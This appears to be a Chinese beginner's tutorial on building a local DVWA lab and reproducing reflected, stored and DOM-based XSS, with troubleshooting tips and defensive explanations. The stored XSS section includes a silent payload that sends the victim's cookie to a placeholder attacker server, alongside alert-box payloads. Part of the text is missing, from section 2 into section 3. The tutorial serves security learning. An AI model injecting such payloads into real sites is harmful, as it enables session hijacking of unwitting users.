2026/10/20 4:58:55

XSS新手入门:DVWA靶场搭建与反射/存储/DOM型攻击实验详解

XSS新手入门:DVWA靶场搭建与反射/存储/DOM型攻击实验详解 很多新手第一次听说XSS是在某个安全文章或者漏洞报告里印象只有“跨站脚本”这个看起来很高级的名字。等自己想动手试一下又感觉无从下手不知道装什么环境不知道怎么配靶场以为要搭一个真实的网站才能测。其实完全不用这么复杂。我个人的建议是在本地搭一个专门的靶场系统用几分钟把环境跑起来然后一条条去复现XSS的触发过程看它怎么弹窗、怎么劫持Cookie、怎么伪造页面亲眼看到攻击路径才能真正理解防护代码到底在防什么。这篇文章专门写给XSS零基础的新手。我会把环境搭建、反射型/存储型/DOM型三类实验的完整步骤、以及我自己踩过的坑全部整理出来。整个过程只需要本地电脑操作不需要真实的公网服务器也不涉及任何非法行为纯粹是安全学习与防御训练。文章里所有实验都在本地靶场内完成请务必只在自建环境中练习。补充一句项目标题里写的“xxs”其实是笔误正确写法是XSS即Cross-Site Scripting。后面内容中我都按XSS来写。1. 怎么搭一个专门练手的本地靶场环境1.1 为什么非要搞一个“靶场”而不是随便找个网站练手新手最容易犯的一个误区就是觉得XSS实验可以直接拿一个网站来试。我非常不建议这么做。真实网站哪怕只是弹个alert窗口也会干扰正常用户更重要的是这种行为在没有授权的情况下是越界的。安全学习的第一课应该是对边界保持敏感所以我强烈建议只在完全属于你自己的环境里做实验。靶场本质上就是一个故意留有漏洞的练习系统它把你从“挖洞”的环节中解放出来让你专注于理解漏洞机制本身。业内比较常用的有开源的DVWA、Pikachu、WebGoat等。这里我推荐DVWADamn Vulnerable Web Application原因有三个难度分级清晰从Low到Impossible逐级递增新手能先看最直白的漏洞再逐步理解修复方案。内置SQL注入、XSS、CSRF等常见Web漏洞一套环境够学很久。安装门槛低配合PHP集成环境几分钟就能跑起来。可能有人会问能不能自己手写一个PHP页面来做XSS实验当然可以但我不建议新手这么干。手写页面需要自己处理数据库、表单提交、参数传递等一系列基础问题这些跟XSS本身无关的干扰项会把你的注意力带走。DVWA已经帮你去掉了这些干扰你只需要关心“为什么这里会弹窗”“为什么这个Cookie会被拿走”这类核心问题。1.2 安装DVWA完整实操步骤含参数说明在开始之前先确认你的电脑满足基础条件能联网下载安装包、有2GB以上空闲磁盘、操作系统不限制本地Web服务。下面以Windows环境为例说明实操过程Mac或者Linux的原理完全一样只是文件路径不同。第一步准备PHP集成环境。我个人用的是phpStudy因为它自带Apache、MySQL、PHP不需要逐个安装再手动配置。你下载安装后界面里会有一个“启动”按钮把Apache和MySQL两个服务都点起来。启动成功时服务状态会显示为绿色。如果启动失败最常见的原因是端口被占用后面第五节我会专门讲排查方法。第二步下载DVWA源码。DVWA是开源项目你可以从它的官方代码仓库GitHub直接下载最新压缩包解压后得到一个名为DVWA-master的文件夹。把这个文件夹重命名为DVWA然后放到phpStudy的网站根目录下也就是通常的WWW目录。注意目录名不要带中文和空格否则后面访问路径容易出问题。第三步复制配置文件。DVWA根目录下会有一个名为config的文件夹里面有个config.inc.php.dist文件。你需要手动把这个文件复制一份并把副本改名为config.inc.php。这个文件是DVWA的核心配置默认内容里有数据库连接参数$_DVWA[ db_server ] 127.0.0.1;$_DVWA[ db_database ] dvwa;$_DVWA[ db_user ] root;$_DVWA[ db_password ] ;$_DVWA[ default_security_level ] low;如果你是第一次安装建议保持db_password为空因为本地环境不需要强密码。等到熟悉之后再考虑改成别的。第四步浏览器访问并初始化。打开浏览器输入http://127.0.0.1/DVWA第一次访问会跳转到install.php页面。页面上有一个“Create / Reset Database”按钮点击之后DVWA会自动创建dvwa数据库以及所需的表。看到setup页面显示全部成功就意味着环境已经就绪。第五步登录系统。DVWA的默认登录账号是admin密码是password。第一次登录后页面右侧会出现安全等级选择默认是Low。新手就保持在Low等级这个等级的代码几乎没有任何防护最适合理解漏洞本身的触发过程。等你把三类XSS都跑通了再切到Medium、High去对比代码可以明显看到防护逻辑一步步收紧。到这里你的本地靶场就算建好了。我建议你打开浏览器开发者工具看一下DVWA页面的Cookie值后面做XSS攻击演示时会用到。2. XSS到底是什么怎么就“弹窗”了2.1 用一句话和一张流程图理解XSS攻击链路XSS全称Cross-Site Scripting跨站脚本攻击。它的本质是攻击者把一段恶意JavaScript代码“注入”到网页中然后让浏览器在渲染这个页面时执行了这段代码。因为浏览器的执行环境是受害者的浏览器所以攻击者能拿到受害者视角下的敏感数据比如Cookie、会话令牌、页面内容。我常用一个类比来解释这个过程网页本身就像一张写好的答题卡浏览器负责把这张卡显示出来。正常情况下答题卡上只能有用户填写的答案。但是攻击者发现某些答题区域没有检查输入内容你在这里写什么监考老师就原样抄到屏幕上。于是攻击者在填答题卡时写的不只是文字而是写了“老师在念这段话的时候把第一排学生的手机号悄悄记录下来”这样的指令混在文字里。老师念的时候指令就跟着被执行了。这就是XSS的核心逻辑输入没被过滤输出没被转义代码和数据被混在了一起。攻击链可以分成这样几步攻击者构造一段恶意Payload例如这段Payload被放入某个输入点比如搜索框、留言板、URL参数。受害者访问这个页面时后端代码没有对这段输入做处理直接把内容原样嵌入HTML并返回给浏览器。浏览器解析HTML时把 等。最后考虑不同浏览器的解析规则比如某些标签可以在无闭合script的情况下被执行。从防御视角来看反射型XSS的修复其实不复杂核心就是“输出编码”。把转成、转成让浏览器看到的是文本而不是标签脚本自然就不会执行。DVWA的Impossible等级就用htmlspecialchars函数处理了输入你可以切到那个等级看看代码对比非常直观。这也是为什么学XSS一定要自己动手操作只是看书理解“输出编码”四个字远不如亲眼看到编码前后页面源码的变化来得深刻。4. 实验演示存储型XSS和DOM型XSS4.1 存储型XSS实验留言板里的持久化攻击DVWA里的存储型XSS实验位于XSS(Stored)页面。这个页面的功能是一个访客留言板包含两个输入框一个是名字一个是留言内容。提交后页面底部会显示所有留言记录这些记录是存放在数据库中的。你可以按以下步骤实验在Name输入框输入一个测试名字随意在Message输入框输入以下Payloadscriptalert(Stored XSS)/script点击Sign Guestbook。页面刷新后你会看到留言已经出现在列表里同时脚本执行弹出警告框。这时候关键一步来了按F5刷新页面你会发现弹窗又出现了。这说明脚本不是在你提交的那一瞬间才生效而是每次任何用户加载这个留言列表页面时代码都会被服务器从数据库取出嵌入页面并执行。这个持久化特性让存储型XSS成为三类里危害最大的。攻击者可以把恶意脚本留在一个访问量很高的评论区之后每一个浏览该评论的用户都有可能中招。在更复杂的场景里攻击者甚至不需要弹窗而是写一段静默代码比如scriptnew Image().srchttp://攻击者服务器/?cdocument.cookie/script这段代码不会弹出任何框它是利用JavaScript创建一个Image对象然后向攻击者服务器发出请求同时把Cookie作为参数带过去。受害者全程无感知但会话凭据已经被偷走。在DVWA里我们不做外发请求你只需要理解这个模型即可。我再补充一个真实项目里常见的存储型XSS变体XSS被写入到用户的个人资料、昵称、头像等位置。因为这些信息是长期保存的且管理后台或用户主页会展示它们一旦被注入影响面往往比留言板更大。比如攻击者修改自己的昵称为一段包含恶意脚本的字符串然后管理员在后台查看用户列表时管理员浏览器就会执行这段脚本攻击者从而获得高权限会话。这种被称作存储型XSS变种中的“后台打点”在红队演练里尤其看重。4.2 DOM型XSS实验修改URL参数触发前端渲染DVWA里的DOM型XSS位于“XSS (DOM)”页面。这个页面看起来很简单有一个“Click me to change your language”的下拉列表以及一段用来显示当前选中语言的文本。关键逻辑在前端脚本里页面通过JavaScript读取URL参数default然后把它插入到页面的select选项中。我们先看一个正常操作在下拉选择框里选一个语言比如English然后点击提交。URL变成了http://127.0.0.1/DVWA/vulnerabilities/xss_d/?defaultEnglish返回的页面里会用English作为选中项。这个过程中服务器返回的HTML是固定的所有动态内容都是前端脚本根据default参数动态渲染出来的。现在我们把URL改成http://127.0.0.1/DVWA/vulnerabilities/xss_d/?defaultscriptalert(DOM XSS)/script直接访问这个修改后的链接页面加载后同样会执行弹窗脚本。注意这台服务器没有把这段脚本拼接进HTML它只是返回了一个静态页面攻击代码完全是在浏览器侧由前端脚本自己读取URL参数后写入了DOM。DOM型XSS还有一个特点更容易被新手忽略在地址栏直接输入完整链接或者用浏览器控制台修改href效果可能不一样。原因是页面加载时机不同。某些前端脚本监听的是某个事件比如页面加载完成后才读取参数并渲染。如果你用开发者工具动态修改参数可能不会触发。因此做实验时建议从头到尾直接粘贴构造好的URL并回车而不是先打开页面再改参数。为了看清DOM型XSS的触发点建议在浏览器里按F12打开开发者工具切到Sources或者Elements面板观察ID为default的元素。你会发现前端代码里有一个地方使用了类似innerHTML或document.write的调用正是这个调用把被告警的参数写进了页面。当参数中的HTML标签被当作页面内容解析时脚本就执行了。你可以把这个过程当成一个思维练习如果某一天你在代码里看到document.write(location.search)这类写法你就知道这里十有八九存在DOM型XSS风险。5. 新手实验中的常见问题与排查思路5.1 环境启动失败、页面白屏等典型问题XSS实验本身上手不难但环境搭建阶段最容易让人卡住。我把新手群里被问得最多的问题整理成了一张表按优先级列出问题现象常见原因解决方法phpStudy启动后Apache变红/停止80端口被占用常见于本机已有IIS、Nginx或其他Web服务打开cmd输入netstat -ano找到占用80端口的PID结束对应进程或者在phpStudy里把Apache端口改成8080MySQL启动失败3306端口占用或缺少VC运行库同样用netstat查3306占用如果是VC库问题安装微软常用运行库合集访问http://127.0.0.1/DVWA显示404解压后的目录名不对或没放进www目录确认目录名为DVWA且路径是网站根目录/DVWA点击Create/Reset Database后报错config.inc.php不存在或数据库配置不正确确认dist文件已复制并改名为config.inc.php检查db_password是否与本地MySQL一致页面能打开但账号密码错误登录信息被重置过或数据库初始化失败重新执行setup点击Reset Database恢复默认admin/password还有一个非常容易踩的坑DVWA页面里反复提示“Security Level”无法保存。这个通常是因为浏览器禁用了CookieDVWA需要通过Cookie保存安全等级。你在浏览器隐私设置里允许localhost的Cookie即可。5.2 弹窗不出现、Payload不生效如何一步步定位问题实验过程中最常见的“弹不出来”问题原因通常不是环境坏了而是Payload与当前HTML上下文不匹配。我建议按下面顺序排查第一步确认访问的是Low安全等级。DVWA页面右上角会显示当前等级如果是Medium或High实验条件和这不同script标签会被过滤弹窗自然不出现。切回Low等级再试。第二步用浏览器开发者工具查看网络请求和响应内容。按F12切到Network重新提交一次表单找到对应的请求查看响应中的HTML源码。重点看你输入的Payload是不是原样出现在返回HTML里。如果发现字符变成了说明后端做了编码此时应切到更高难度或者检查等级配置如果Payload的尖括号被空格替换掉说明有过滤函数。第三步检查Payload是否写入了DOM。对DOM型XSS而言要看Sources面板里前端代码到底读取的是哪个参数名。DVWA里是default但有些实验可能是lang、page等参数名对不上就会失效。第四步注意浏览器拦截。部分浏览器会拦截包含明显script标签的URL。如果你在地址栏直接粘贴带有